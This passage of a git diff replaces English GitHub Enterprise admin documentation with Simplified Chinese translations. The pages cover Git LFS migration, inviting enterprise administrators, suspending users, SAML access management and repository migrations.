(auth=basic) + > Endpoint (NEW-REMOTE)=https://NEW-REMOTE-HOSTNAME/path/to/repo/info/lfs (auth=none) ``` -2. Fetch all objects from the old remote. +2. 从旧远端提取所有对象。 ```shell $ git lfs fetch origin --all > Scanning for all objects ever referenced... @@ -130,9 +118,9 @@ Before migrating to a different {% data variables.large_files.product_name_long > Git LFS: (16 of 16 files) 48.71 MB / 48.85 MB ``` -3. Push all objects to the new remote. +3. 将所有对象推送到新远端。 ```shell - $ git lfs push NEW-REMOTE --all + $ git lfs push NEW-REMOTE --all > Scanning for all objects ever referenced... > ✔ 16 objects found > Pushing objects... @@ -140,6 +128,6 @@ Before migrating to a different {% data variables.large_files.product_name_long ``` {% endif %} -## Further reading +## 延伸阅读 -- [{% data variables.large_files.product_name_long %} project site](https://git-lfs.github.com/) +- [{% data variables.large_files.product_name_long %} 项目站点](https://git-lfs.github.com/) diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md index 20dd513583..c58ae0021f 100644 --- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md +++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Inviting people to manage your enterprise -intro: 'You can {% ifversion ghec %}invite{% else %}add{% endif %} and remove enterprise owners{% ifversion ghec %} and billing managers{% endif %} for your enterprise account.' +title: 邀请人员管理企业 +intro: '你可以{% ifversion ghec %}邀请用户成为企业所有者或帐单管理员,以{% elsif ghes %}将企业所有者添加到{% endif %}企业帐户。 也可以删除不再需要访问企业帐户的企业所有者{% ifversion ghec %}或帐单管理员{% endif %}。' permissions: 'Enterprise owners can {% ifversion ghec %}invite other people to become{% elsif ghes %}add{% endif %} additional enterprise administrators.' redirect_from: - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise @@ -17,71 +17,62 @@ topics: - Enterprise - User account shortTitle: Invite people to manage +ms.openlocfilehash: 7cdbee6f1b37a8300f3523712c6e0dda4293af74 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '146180445' --- +## 关于可以管理企业帐户的用户 -## About users who can manage your enterprise account - -{% data reusables.enterprise-accounts.enterprise-administrators %} For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)." +{% data reusables.enterprise-accounts.enterprise-administrators %} 有关详细信息,请参阅“[企业中的角色](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)”。 {% ifversion ghes %} -If you want to manage owners and billing managers for an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, see "[Inviting people to manage your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)" in the {% data variables.product.prodname_ghe_cloud %} documentation. +如果要在 {% data variables.product.prodname_dotcom_the_website %} 上管理企业帐户的所有者和账单管理员,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[邀请人员管理企业](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)”。 {% endif %} {% ifversion ghec %} -If your enterprise uses {% data variables.product.prodname_emus %}, enterprise owners can only be added or removed through your identity provider. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." +如果您的企业使用 {% data variables.product.prodname_emus %},企业所有者只能通过您的身份提供商添加或删除。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。 {% endif %} {% tip %} -**Tip:** For more information on managing users within an organization owned by your enterprise account, see "[Managing membership in your organization](/articles/managing-membership-in-your-organization)" and "[Managing people's access to your organization with roles](/articles/managing-peoples-access-to-your-organization-with-roles)." +提示:有关管理企业帐户拥有的组织中用户的详细信息,请参阅“[管理组织中的成员身份](/articles/managing-membership-in-your-organization)”和“[使用角色管理用户对组织的访问权限](/articles/managing-peoples-access-to-your-organization-with-roles)”。 {% endtip %} -## {% ifversion ghec %}Inviting{% elsif ghes %}Adding{% endif %} an enterprise administrator to your enterprise account +## {% ifversion ghec %}邀请{% elsif ghes %}添加{% endif %}企业管理员到企业帐户 -{% ifversion ghec %}After you invite someone to join the enterprise account, they must accept the emailed invitation before they can access the enterprise account. Pending invitations will expire after 7 days.{% endif %} +{% ifversion ghec %}在邀请用户加入企业帐户后,他们必须接受电子邮件邀请,然后才可访问企业帐户。 待处理的邀请将在 7 天后过期。{% endif %} -{% ifversion enterprise-membership-view-improvements %} -You can see all pending invitations to become an administrator of your enterprise account. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-pending-invitations)." +{% ifversion enterprise-membership-view-improvements %} 可以查看成为企业帐户管理员的所有待处理邀请。 有关详细信息,请参阅[查看企业中的人员](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-pending-invitations)。 {% endif %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.enterprise-accounts.administrators-tab %} -1. Above the list of administrators, click {% ifversion ghec %}**Invite admin**{% elsif ghes %}**Add owner**{% endif %}. - {% ifversion ghec %} - !["Invite admin" button above the list of enterprise owners](/assets/images/help/business-accounts/invite-admin-button.png) - {% elsif ghes %} - !["Add owner" button above the list of enterprise owners](/assets/images/help/business-accounts/add-owner-button.png) - {% endif %} -1. Type the username, full name, or email address of the person you want to invite to become an enterprise administrator, then select the appropriate person from the results. - ![Modal box with field to type a person's username, full name, or email address, and Invite button](/assets/images/help/business-accounts/invite-admins-modal-button.png){% ifversion ghec %} -1. Select **Owner** or **Billing Manager**. - ![Modal box with role choices](/assets/images/help/business-accounts/invite-admins-roles.png) -1. Click **Send Invitation**. - ![Send invitation button](/assets/images/help/business-accounts/invite-admins-send-invitation.png){% endif %}{% ifversion ghes %} -1. Click **Add**. - !["Add" button](/assets/images/help/business-accounts/add-administrator-add-button.png){% endif %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %} +1. 在管理员列表上方,单击{% ifversion ghec %}“邀请管理员”{% elsif ghes %}“添加所有者”{% endif %} 。 + {% ifversion ghec %} ![企业所有者列表上方的“邀请管理员”按钮](/assets/images/help/business-accounts/invite-admin-button.png) {% elsif ghes %} ![企业所有者列表上方的“添加所有者”按钮](/assets/images/help/business-accounts/add-owner-button.png) {% endif %} +1. 输入您要邀请其成为企业管理员的人员的用户名、全名或电子邮件地址,然后从结果中选择适当的人员。 + ![包含用于键入个人用户名、全名或电子邮件地址的字段的模态框,以及“邀请”按钮](/assets/images/help/business-accounts/invite-admins-modal-button.png){% ifversion ghec %} +1. 选择“所有者”或“账单管理员” 。 + ![角色选择模态框](/assets/images/help/business-accounts/invite-admins-roles.png) +1. 单击“发送邀请”。 + ![“发送邀请”按钮](/assets/images/help/business-accounts/invite-admins-send-invitation.png){% endif %}{% ifversion ghes %} +1. 单击“添加”。 + ![“添加”按钮](/assets/images/help/business-accounts/add-administrator-add-button.png){% endif %} -## Removing an enterprise administrator from your enterprise account +## 从企业帐户删除企业管理员 -Only enterprise owners can remove other enterprise administrators from the enterprise account. +只有企业所有者才可从企业帐户删除其他企业管理员。 -{% ifversion ghec %} -If the administrator you want to remove is a member of any organizations owned by the enterprise, you can choose **Convert to member**, which will remove their administrative role but retain their organization memberships, or **Remove from enterprise**, which will remove both their administrative role and organization memberships. +{% ifversion ghec %} 如果要删除的管理员是企业拥有的任何组织的成员,可以选择“转换为成员”,此操作删除的是管理角色,但保留了组织成员身份,或者选择“从企业中删除”,这将同时删除他们的管理角色和组织成员身份。 {% endif %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.enterprise-accounts.administrators-tab %} -1. Next to the username of the person you'd like to remove, click {% octicon "gear" aria-label="The Settings gear" %}, then click {% ifversion ghes %}**Remove owner**{% elsif ghec %}**Convert to member** or **Remove from enterprise**.{% endif %}. - {% ifversion ghec %} - ![Settings gear with menu option to remove an enterprise administrator](/assets/images/help/business-accounts/remove-admin.png) - {% elsif ghes %} - ![Settings gear with menu option to remove an enterprise administrator](/assets/images/help/business-accounts/ghes-remove-owner.png) - {% endif %} -1. Read the confirmation, then click {% ifversion ghes %}**Remove owner**{% elsif ghec %}**Yes, convert USERNAME to member**{% endif %}. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %} +1. 在要删除的人员的用户名旁边,单击 {% octicon "gear" aria-label="The Settings gear" %},然后单击 {% ifversion ghes %}“删除所有者”{% elsif ghec %}“转换为成员”或“从企业中删除” 。{% endif %}. + {% ifversion ghec %} ![包含删除企业管理员的菜单选项的设置齿轮](/assets/images/help/business-accounts/remove-admin.png) {% elsif ghes %} ![Settings gear with menu option to remove an enterprise administrator](/assets/images/help/business-accounts/ghes-remove-owner.png) {% endif %} +1. 阅读确认信息,然后单击{% ifversion ghes %}“删除所有者”{% elsif ghec %}“是,将 [用户名] 转换为成员”{% endif %} 。 diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md index 46f9801fb1..2bbd8ccb40 100644 --- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md +++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md @@ -1,5 +1,5 @@ --- -title: Suspending and unsuspending users +title: 挂起和取消挂起用户 redirect_from: - /enterprise/admin/articles/suspending-a-user - /enterprise/admin/articles/unsuspending-a-user @@ -8,7 +8,7 @@ redirect_from: - /enterprise/admin/articles/suspending-and-unsuspending-users - /enterprise/admin/user-management/suspending-and-unsuspending-users - /admin/user-management/suspending-and-unsuspending-users -intro: 'If a user leaves or moves to a different part of the company, you should remove or modify their ability to access {% data variables.location.product_location %}.' +intro: '如果用户离开公司或者调动到公司的其他部门,你应当移除或修改他们访问 {% data variables.product.product_location %} 的能力。' versions: ghes: '*' type: how_to @@ -18,10 +18,16 @@ topics: - Security - User account shortTitle: Manage user suspension +ms.openlocfilehash: d888678438f62fb585dac1cab4905ff02d8eb824 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146331902' --- -If employees leave the company, you can suspend their {% data variables.product.prodname_ghe_server %} accounts to open up user licenses in your {% data variables.product.prodname_enterprise %} license while preserving the issues, comments, repositories, gists, and other data they created. Suspended users cannot sign into your instance, nor can they push or pull code. +如果员工从公司离职,您可以暂停他们的 {% data variables.product.prodname_ghe_server %} 帐户,打开您的 {% data variables.product.prodname_enterprise %} 许可中的用户许可,同时保存他们创建的议题、评论、仓库、Gist 及其他数据。 被挂起的用户既无法登录您的实例,也无法推送或拉取代码。 -When you suspend a user, the change takes effect immediately with no notification to the user. If the user attempts to pull or push to a repository, they'll receive this error: +在您挂起用户时,变更将立即生效,并且不会通知用户。 如果用户尝试拉取仓库或推送到仓库,他们将收到此错误消息: ```shell $ git clone git@[hostname]:john-doe/test-repo.git @@ -30,74 +36,65 @@ ERROR: Your account is suspended. Please check with your installation administra fatal: The remote end hung up unexpectedly ``` -Before suspending site administrators, you must demote them to regular users. For more information, see "[Promoting or demoting a site administrator](/enterprise/admin/user-management/promoting-or-demoting-a-site-administrator)." +在挂起站点管理员之前,您必须将其降级为普通用户。 有关详细信息,请参阅“[推广或降级网站管理员](/enterprise/admin/user-management/promoting-or-demoting-a-site-administrator)”。 {% tip %} -**Note:** If [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) for {% data variables.location.product_location %}, users are automatically suspended when they're removed from the LDAP directory server. When LDAP Sync is enabled for your instance, normal user suspension methods are disabled. +注意:如果为 {% data variables.product.product_location %} [启用了 LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync),则从 LDAP 目录服务器中删除用户时会将其自动挂起。 为您的实例启用 LDAP 同步后,将禁用普通用户挂起方法。 {% endtip %} -## Suspending a user from the user admin dashboard +## 从用户管理员仪表板挂起用户 + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user %} {% data reusables.enterprise_site_admin_settings.click-user %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} +5. 在红色“危险区域”框的“帐户暂停”下,单击“暂停”。 +![“挂起”按钮](/assets/images/enterprise/site-admin-settings/suspend.png) +6. 提供挂起用户的原因。 +![挂起原因](/assets/images/enterprise/site-admin-settings/suspend-reason.png) + +## 从用户管理员仪表板取消挂起用户 + +挂起用户后,取消挂起用户的操作将立即可用。 用户将不会收到通知。 {% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user %} -{% data reusables.enterprise_site_admin_settings.click-user %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -{% data reusables.enterprise_site_admin_settings.admin-tab %} -5. Under "Account suspension," in the red Danger Zone box, click **Suspend**. -![Suspend button](/assets/images/enterprise/site-admin-settings/suspend.png) -6. Provide a reason to suspend the user. -![Suspend reason](/assets/images/enterprise/site-admin-settings/suspend-reason.png) +3. 在左侧边栏中,单击“挂起用户”。 +![“挂起用户”选项卡](/assets/images/enterprise/site-admin-settings/user/suspended-users-tab.png) +2. 单击您想要取消挂起的用户帐户的名称。 +![挂起用户](/assets/images/enterprise/site-admin-settings/user/suspended-user.png) {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} +4. 在红色“危险区域”框的“帐户暂停”下,单击“取消挂起”。 +![“取消挂起”按钮](/assets/images/enterprise/site-admin-settings/unsuspend.png) +5. 提供取消挂起用户的原因。 +![取消挂起原因](/assets/images/enterprise/site-admin-settings/unsuspend-reason.png) -## Unsuspending a user from the user admin dashboard - -As when suspending a user, unsuspending a user takes effect immediately. The user will not be notified. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -3. In the left sidebar, click **Suspended users**. -![Suspended users tab](/assets/images/enterprise/site-admin-settings/user/suspended-users-tab.png) -2. Click the name of the user account that you would like to unsuspend. -![Suspended user](/assets/images/enterprise/site-admin-settings/user/suspended-user.png) -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -{% data reusables.enterprise_site_admin_settings.admin-tab %} -4. Under "Account suspension," in the red Danger Zone box, click **Unsuspend**. -![Unsuspend button](/assets/images/enterprise/site-admin-settings/unsuspend.png) -5. Provide a reason to unsuspend the user. -![Unsuspend reason](/assets/images/enterprise/site-admin-settings/unsuspend-reason.png) - -## Suspending a user from the command line +## 从命令行挂起用户 {% data reusables.enterprise_installation.ssh-into-instance %} -2. Run [ghe-user-suspend](/enterprise/admin/guides/installation/command-line-utilities#ghe-user-suspend) with the username to suspend. +2. 使用要挂起的用户名运行 [ghe-user-suspend](/enterprise/admin/guides/installation/command-line-utilities#ghe-user-suspend)。 ```shell - $ ghe-user-suspend USERNAME + $ ghe-user-suspend username ``` -## Creating a custom message for suspended users +## 为挂起的用户创建自定义消息 -You can create a custom message that suspended users will see when attempting to sign in. +您可以创建自定义消息,被挂起的用户会在尝试登录时看到此消息。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.messages-tab %} -5. Click **Add message**. -![Add message](/assets/images/enterprise/site-admin-settings/add-message.png) -6. Type your message into the **Suspended user message** box. You can type Markdown, or use the Markdown toolbar to style your message. -![Suspended user message](/assets/images/enterprise/site-admin-settings/suspended-user-message.png) -7. Click the **Preview** button under the **Suspended user message** field to see the rendered message. -![Preview button](/assets/images/enterprise/site-admin-settings/suspended-user-message-preview-button.png) -8. Review the rendered message. -![Suspended user message rendered](/assets/images/enterprise/site-admin-settings/suspended-user-message-rendered.png) -{% data reusables.enterprise_site_admin_settings.save-changes %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %} +5. 单击“添加消息”。 +![添加消息](/assets/images/enterprise/site-admin-settings/add-message.png) +6. 在“挂起的用户消息”框中键入消息。 您可以输入 Markdown,或者使用 Markdown 工具栏设置消息的样式。 +![已挂起用户消息](/assets/images/enterprise/site-admin-settings/suspended-user-message.png) +7. 在“已挂起用户消息”字段下,单击“预览”按钮,以查看呈现的消息。 +![预览按钮](/assets/images/enterprise/site-admin-settings/suspended-user-message-preview-button.png) +8. 预览显示的消息。 +![呈现的已挂起用户消息](/assets/images/enterprise/site-admin-settings/suspended-user-message-rendered.png) {% data reusables.enterprise_site_admin_settings.save-changes %} -## Unsuspending a user from the command line +## 从命令行取消挂起用户 {% data reusables.enterprise_installation.ssh-into-instance %} -2. Run [ghe-user-unsuspend](/enterprise/admin/guides/installation/command-line-utilities#ghe-user-unsuspend) with the username to unsuspend. +2. 使用用户名运行 [ghe-user-unsuspend](/enterprise/admin/guides/installation/command-line-utilities#ghe-user-unsuspend) 以取消挂起。 ```shell - $ ghe-user-unsuspend USERNAME + $ ghe-user-unsuspend username ``` -## Further reading -- "[Suspend a user](/rest/reference/enterprise-admin#suspend-a-user)" +## 延伸阅读 +- “[挂起用户](/rest/reference/enterprise-admin#suspend-a-user)” diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md index 39a210fec7..15ff156ea0 100644 --- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md +++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Viewing and managing a user's SAML access to your enterprise -intro: 'You can view and revoke an enterprise member''s linked identity, active sessions, and authorized credentials.' +title: 查看和管理用户对企业的 SAML 访问 +intro: 您可以查看和撤销企业成员的链接身份、活动会话和授权凭据。 permissions: Enterprise owners can view and manage a member's SAML access to an organization. redirect_from: - /github/setting-up-and-managing-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise-account @@ -12,50 +12,39 @@ versions: topics: - Enterprise shortTitle: View & manage SAML access +ms.openlocfilehash: 25c706f5aff79f65adf4968546a9a8123794f583 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145098945' --- -## About SAML access to your enterprise account +## 关于对企业帐户的 SAML 访问 -When you enable SAML single sign-on for your enterprise account, each enterprise member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.location.product_location %}. {% data reusables.saml.about-saml-access-enterprise-account %} +当您为企业帐户启用 SAML 单点登录时,每个企业成员都可以将其身份提供商 (IdP) 上的外部身份链接到 {% data variables.product.product_location %} 上的现有帐户。 {% data reusables.saml.about-saml-access-enterprise-account %} -If your enterprise is uses {% data variables.product.prodname_emus %}, your members will use accounts provisioned through your IdP. {% data variables.enterprise.prodname_managed_users_caps %} will not use their existing user account on {% data variables.product.product_name %}. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." +如果您的企业使用 {% data variables.product.prodname_emus %},成员将使用通过您的 IdP 预配的帐户。 {% data variables.product.prodname_managed_users_caps %} 将不会在 {% data variables.product.product_name %} 上使用他们现有的用户帐户。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。 -## Viewing and revoking a linked identity +## 查看和撤销链接的身份 {% data reusables.saml.about-linked-identities %} -If your enterprise uses {% data variables.product.prodname_emus %}, you will not be able to deprovision or remove user accounts from the enterprise on {% data variables.product.product_name %}. Any changes you need to make to your enterprise's {% data variables.enterprise.prodname_managed_users %} should be made through your IdP. +如果您的企业使用 {% data variables.product.prodname_emus %},您将无法从 {% data variables.product.product_name %} 上的企业中取消或删除用户帐户。 您需要对企业的 {% data variables.product.prodname_managed_users %} 进行的任何更改都应该通过您的 IdP 进行。 {% data reusables.identity-and-permissions.revoking-identity-team-sync %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.saml.click-person-revoke-identity %} -{% data reusables.saml.saml-identity-linked %} -{% data reusables.saml.view-sso-identity %} -{% data reusables.saml.revoke-sso-identity %} -{% data reusables.saml.confirm-revoke-identity %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.saml.click-person-revoke-identity %} {% data reusables.saml.saml-identity-linked %} {% data reusables.saml.view-sso-identity %} {% data reusables.saml.revoke-sso-identity %} {% data reusables.saml.confirm-revoke-identity %} -## Viewing and revoking an active SAML session +## 查看和撤销活动的 SAML 会话 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.saml.click-person-revoke-session %} -{% data reusables.saml.saml-identity-linked %} -{% data reusables.saml.view-saml-sessions %} -{% data reusables.saml.revoke-saml-session %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.saml.click-person-revoke-session %} {% data reusables.saml.saml-identity-linked %} {% data reusables.saml.view-saml-sessions %} {% data reusables.saml.revoke-saml-session %} -## Viewing and revoking authorized credentials +## 查看和撤销授权的凭据 {% data reusables.saml.about-authorized-credentials %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.saml.click-person-revoke-credentials %} -{% data reusables.saml.saml-identity-linked %} -{% data reusables.saml.view-authorized-credentials %} -{% data reusables.saml.revoke-authorized-credentials %} -{% data reusables.saml.confirm-revoke-credentials %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.saml.click-person-revoke-credentials %} {% data reusables.saml.saml-identity-linked %} {% data reusables.saml.view-authorized-credentials %} {% data reusables.saml.revoke-authorized-credentials %} {% data reusables.saml.confirm-revoke-credentials %} -## Further reading +## 延伸阅读 -- "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" +- “[查看和管理成员对组织的 SAML 访问](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)” diff --git a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md index f0f6adac03..41d99ff0a0 100644 --- a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md +++ b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md @@ -1,6 +1,6 @@ --- -title: About migrations -intro: 'A migration is the process of transferring data from a *source* location (either a {% data variables.product.prodname_dotcom_the_website %} organization or a {% data variables.product.prodname_ghe_server %} instance) to a *target* {% data variables.product.prodname_ghe_server %} instance. Migrations can be used to transfer your data when changing platforms or upgrading hardware on your instance.' +title: 关于迁移 +intro: '迁移是将数据从源位置({% data variables.product.prodname_dotcom_the_website %} 组织或 {% data variables.product.prodname_ghe_server %} 实例)转移到目标 {% data variables.product.prodname_ghe_server %} 实例的过程。 在更换平台或或升级实例上的硬件时,可以使用迁移转移数据。' redirect_from: - /enterprise/admin/migrations/about-migrations - /enterprise/admin/user-management/about-migrations @@ -11,41 +11,47 @@ type: overview topics: - Enterprise - Migration +ms.openlocfilehash: accb9c62655f8825077a00e05a93182b36cd6e8d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147541181' --- -## Types of migrations +## 迁移的类型 -There are three types of migrations you can perform: +您可以执行三种类型的迁移: -- A migration from a {% data variables.product.prodname_ghe_server %} instance to another {% data variables.product.prodname_ghe_server %} instance. You can migrate any number of repositories owned by any user or organization on the instance. Before performing a migration, you must have site administrator access to both instances. -- A migration from a {% data variables.product.prodname_dotcom_the_website %} organization to a {% data variables.product.prodname_ghe_server %} instance. You can migrate any number of repositories owned by the organization. Before performing a migration, you must have [administrative access](/enterprise/user/articles/permission-levels-for-an-organization/) to the {% data variables.product.prodname_dotcom_the_website %} organization as well as site administrator access to the target instance. -- *Trial runs* are migrations that import data to a [staging instance](/enterprise/admin/guides/installation/setting-up-a-staging-instance/). These can be useful to see what *would* happen if a migration were applied to {% data variables.location.product_location %}. **We strongly recommend that you perform a trial run on a staging instance before importing data to your production instance.** +- 从 {% data variables.product.prodname_ghe_server %} 实例迁移到另一个 {% data variables.product.prodname_ghe_server %} 实例。 您可以迁移实例上由任何用户或组织拥有的任意数量的仓库。 在执行迁移之前,您必须具有两个实例的站点管理员访问权限。 +- 从 {% data variables.product.prodname_dotcom_the_website %} 组织迁移到 {% data variables.product.prodname_ghe_server %} 实例。 您可以迁移由组织拥有的任意数量的仓库。 在执行迁移前,必须拥有 {% data variables.product.prodname_dotcom_the_website %} 组织的[管理访问权限](/enterprise/user/articles/permission-levels-for-an-organization/)和目标实例的站点管理员访问权限。 +- “试运行”是将数据导入[暂存实例](/enterprise/admin/guides/installation/setting-up-a-staging-instance/)的迁移。 这些试运行非常有用,可用于查看在向 {% data variables.product.product_location %} 应用迁移后将要发生的变化。 强烈建议你先在暂存实例上执行试运行,然后再将数据导入生产实例。 -## Migrated data +## 迁移的数据 -In a migration, everything revolves around a repository. Most data associated with a repository can be migrated. For example, a repository within an organization will migrate the repository *and* the organization, as well as any users, teams, issues, and pull requests associated with the repository. +在迁移中,一切都围绕仓库进行。 与仓库关联的大多数数据都可以迁移。 例如,组织内的存储库将迁移存储库和组织,以及与该存储库关联的任何用户、团队、议题和拉取请求。 -The items in the table below can be migrated with a repository. Any items not shown in the list of migrated data can not be migrated, including {% data variables.large_files.product_name_short %} assets. +下表中的项可随仓库一起迁移。 迁移数据列表中未显示的任何项都无法迁移,包括 {% data variables.large_files.product_name_short %} 资产。 {% data reusables.enterprise_migrations.fork-persistence %} -| Data associated with a migrated repository | Notes | +| 与迁移的仓库关联的数据 | 备注 | |---------------------------------------------|--------| -| Users | **@mentions** of users are rewritten to match the target. -| Organizations | An organization's name and details are migrated. -| Repositories | Links to Git trees, blobs, commits, and lines are rewritten to match the target. The migrator follows a maximum of three repository redirects. Internal repositories are migrated as private repositories. Archive status is unset. -| Wikis | All wiki data is migrated. -| Teams | **@mentions** of teams are rewritten to match the target. -| Milestones | Timestamps are preserved. -| Project boards | Project boards associated with the repository and with the organization that owns the repository are migrated. -| Issues | Issue references and timestamps are preserved. -| Issue comments | Cross-references to comments are rewritten for the target instance. -| Pull requests | Cross-references to pull requests are rewritten to match the target. Timestamps are preserved. -| Pull request reviews | Pull request reviews and associated data are migrated. -| Pull request review comments | Cross-references to comments are rewritten for the target instance. Timestamps are preserved. -| Commit comments | Cross-references to comments are rewritten for the target instance. Timestamps are preserved. -| Releases | All releases data is migrated. -| Actions taken on pull requests or issues | All modifications to pull requests or issues, such as assigning users, renaming titles, and modifying labels are preserved, along with timestamps for each action. -| File attachments | [File attachments on issues and pull requests](/articles/file-attachments-on-issues-and-pull-requests) are migrated. You can choose to disable this as part of the migration. -| Webhooks | Only active webhooks are migrated. -| Repository deploy keys | Repository deploy keys are migrated. -| Protected branches | Protected branch settings and associated data are migrated. +| 用户 | 将重写用户的 @mentions,使其与目标匹配。 +| 组织 | 将迁移组织的名称和详细信息。 +| 存储库 | Git 树、blob、提交和行的链接将重写以匹配目标。 迁移程序将遵循三个仓库重定向的最大值。 内部存储库作为专用存储库迁移。 存档状态未设置。 +| Wiki | 将迁移所有 wiki 数据。 +| Teams | 将重写团队的 @mentions,使其与目标匹配。 +| 里程碑 | 将保留时间戳。 +| 项目板 | 将迁移与仓库和拥有仓库的组织关联的项目板。 +| 问题 | 将保留问题引用和时间戳。 +| 问题评论 | 将针对目标实例重写评论的交叉引用。 +| 拉取请求 | 将重写拉取请求的交叉引用以匹配目标。 将保留时间戳。 +| 拉取请求审查 | 将迁移拉取请求审查和关联的数据。 +| 拉取请求审查评论 | 将针对目标实例重写评论的交叉引用。 将保留时间戳。 +| 提交注释 | 将针对目标实例重写评论的交叉引用。 将保留时间戳。 +| 版本 | 将迁移所有版本数据。 +| 在拉取请求或问题上进行的操作 | 将保留对拉取请求或问题的所有修改(例如,分配用户、重命名标题和修改标签)以及每个操作的时间戳。 +| 文件附件 | [议题和拉取请求中的文件附件](/articles/file-attachments-on-issues-and-pull-requests)将得到迁移。 